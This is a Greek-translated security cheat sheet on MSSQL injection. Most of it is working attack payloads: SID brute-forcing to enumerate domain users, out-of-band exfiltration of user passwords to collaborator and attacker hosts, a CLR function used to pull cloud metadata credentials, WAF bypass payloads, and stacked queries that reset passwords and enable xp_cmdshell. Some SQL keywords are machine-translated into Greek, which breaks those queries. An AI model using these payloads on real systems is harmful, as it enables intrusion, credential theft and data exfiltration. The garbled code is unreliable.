254 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MSSQL Injection
{{#include ../../banners/hacktricks-training.md}}
## Active Directory enumeration
Είναι πιθανό να **καταμετρήσετε τους χρήστες του τομέα μέσω SQL injection σε έναν MSSQL** διακομιστή χρησιμοποιώντας τις παρακάτω MSSQL συναρτήσεις:
- **`SELECT DEFAULT_DOMAIN()`**: Λάβετε το τρέχον όνομα τομέα.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Εάν γνωρίζετε το όνομα του τομέα (_DOMAIN_ σε αυτό το παράδειγμα), αυτή η συνάρτηση θα επιστρέψει το **SID του χρήστη Administrator** σε μορφή hex. Αυτό θα μοιάζει με `0x01050000000[...]0000f401`, σημειώστε πώς τα **τελευταία 4 bytes** είναι ο αριθμός **500** σε **big endian** μορφή, που είναι το **κοινό ID του χρήστη administrator**.\
Αυτή η συνάρτηση θα σας επιτρέψει να **γνωρίζετε το ID του τομέα** (όλα τα bytes εκτός από τα τελευταία 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Αυτή η συνάρτηση θα επιστρέψει το **όνομα χρήστη του υποδεικνυόμενου ID** (αν υπάρχει), σε αυτή την περίπτωση **0000e803** σε big endian == **1000** (συνήθως αυτό είναι το ID του πρώτου κανονικού χρήστη που δημιουργήθηκε). Στη συνέχεια, μπορείτε να φανταστείτε ότι μπορείτε να κάνετε brute-force τα IDs χρηστών από 1000 έως 2000 και πιθανώς να αποκτήσετε όλα τα ονόματα χρηστών των χρηστών του τομέα. Για παράδειγμα, χρησιμοποιώντας μια συνάρτηση όπως η παρακάτω:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Εναλλακτικοί Σφάλματα Βασισμένοι Δείκτες**
Οι SQL injections που βασίζονται σε σφάλματα συνήθως μοιάζουν με κατασκευές όπως `+AND+1=@@version--` και παραλλαγές που βασίζονται στον τελεστή «OR». Τα ερωτήματα που περιέχουν τέτοιες εκφράσεις συνήθως μπλοκάρονται από WAFs. Ως παράκαμψη, συνδυάστε μια συμβολοσειρά χρησιμοποιώντας τον χαρακτήρα %2b με το αποτέλεσμα συγκεκριμένων κλήσεων συναρτήσεων που προκαλούν σφάλμα μετατροπής τύπου δεδομένων στα επιθυμητά δεδομένα.
Ορισμένα παραδείγματα τέτοιων συναρτήσεων:
- `SUSER_NAME()`
- `USER_NAME()`
- `PERMISSIONS()`
- `DB_NAME()`
- `FILE_NAME()`
- `TYPE_NAME()`
- `COL_NAME()`
Παράδειγμα χρήσης της συνάρτησης `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
## SSRF
Αυτές οι τεχνικές SSRF [λήφθηκαν από εδώ](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
Απαιτεί άδεια **`VIEW SERVER STATE`** στον διακομιστή.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
Απαιτεί την άδεια **`CONTROL SERVER`**.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
Απαιτεί την άδεια **`CONTROL SERVER`**.
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Οι αποθηκευμένες διαδικασίες όπως το `xp_dirtree`, αν και δεν είναι επίσημα τεκμηριωμένες από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε δικτυακές λειτουργίες εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα [παραδείγματα](https://www.notsosecure.com/oob-exploitation-cheatsheet/) και [δημοσιεύσεις](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Η αποθηκευμένη διαδικασία `xp_dirtree`, για παράδειγμα, χρησιμοποιείται για να κάνει δικτυακά αιτήματα, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από δικτυακές κοινές χρήσεις. Η χρήση της αποδεικνύεται στο παρακάτω SQL script:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Είναι αξιοσημείωτο ότι αυτή η μέθοδος μπορεί να μην λειτουργεί σε όλες τις ρυθμίσεις συστήματος, όπως σε `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` που τρέχει σε `Windows Server 2016 Datacenter` με προεπιλεγμένες ρυθμίσεις.
Επιπλέον, υπάρχουν εναλλακτικές αποθηκευμένες διαδικασίες όπως `master..xp_fileexist` και `xp_subdirs` που μπορούν να επιτύχουν παρόμοια αποτελέσματα. Περαιτέρω λεπτομέρειες σχετικά με το `xp_fileexist` μπορούν να βρεθούν σε αυτό το [TechNet άρθρο](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Προφανώς μπορείτε επίσης να χρησιμοποιήσετε **`xp_cmdshell`** για να **εκτελέσετε** κάτι που ενεργοποιεί μια **SSRF**. Για περισσότερες πληροφορίες **διαβάστε την σχετική ενότητα** στη σελίδα:
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Η δημιουργία μιας CLR UDF (Common Language Runtime User Defined Function), η οποία είναι κώδικας που έχει συγγραφεί σε οποιαδήποτε γλώσσα .NET και έχει μεταγλωττιστεί σε DLL, για να φορτωθεί μέσα στο MSSQL για την εκτέλεση προσαρμοσμένων συναρτήσεων, είναι μια διαδικασία που απαιτεί πρόσβαση `dbo`. Αυτό σημαίνει ότι είναι συνήθως εφικτό μόνο όταν η σύνδεση στη βάση δεδομένων γίνεται ως `sa` ή με ρόλο Διαχειριστή.
Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε αυτό το [Github αποθετήριο](https://github.com/infiniteloopltd/SQLHttp) για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL.
Η βασική λειτουργικότητα αυτής της δυνατότητας είναι ενσωματωμένη στο αρχείο `http.cs`, το οποίο χρησιμοποιεί την κλάση `WebClient` για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω:
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Πριν εκτελέσετε την εντολή SQL `CREATE ASSEMBLY`, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατό μέσω `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Μετά την επιτυχή προσθήκη της βιβλιοθήκης και τη δημιουργία της συνάρτησης, ο παρακάτω SQL κώδικας μπορεί να χρησιμοποιηθεί για την εκτέλεση HTTP αιτημάτων:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Γρήγορη Εκμετάλλευση: Ανάκτηση Όλων των Περιεχομένων Πίνακα σε Μια Ενιαία Ερώτηση**
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας `FOR JSON`. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας `FOR XML`, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως "raw". Η ρήτρα `FOR JSON` προτιμάται για την συντομία της.
Ακολουθεί πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από τη τρέχουσα βάση δεδομένων:
````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
````
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
ΕΠΙΛΕΞΤΕ * ΑΠΟ fn_my_permissions(NULL, 'SERVER') ΟΠΟΥ permission_name='VIEW SERVER STATE';
```
## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
A period instead of a whitespace between FROM and a column name:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N separator between SELECT and a throwaway column:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'a' SELECT 'b'
```
So for example, multiple queries such as:
```sql
χρησιμοποιήστε [tempdb]
δημιουργήστε πίνακα [test] ([id] int)
εισάγετε [test] τιμές(1)
επιλέξτε [id] από [test]
διαγράψτε πίνακα [test]
```
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Προσθήκη ενός άχρηστου exec() στο τέλος και κάνοντάς το WAF να νομίζει ότι αυτή δεν είναι έγκυρη ερώτηση
admina'union select 1,'admin','testtest123'exec('select 1')--
## Αυτό θα είναι:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Χρησιμοποιώντας περίεργα δομημένες ερωτήσεις
admin'exec('update[users]set[password]=''a''')--
## Αυτό θα είναι:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Ή ενεργοποιώντας το xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Αυτό θα είναι
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## References
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{{#include ../../banners/hacktricks-training.md}}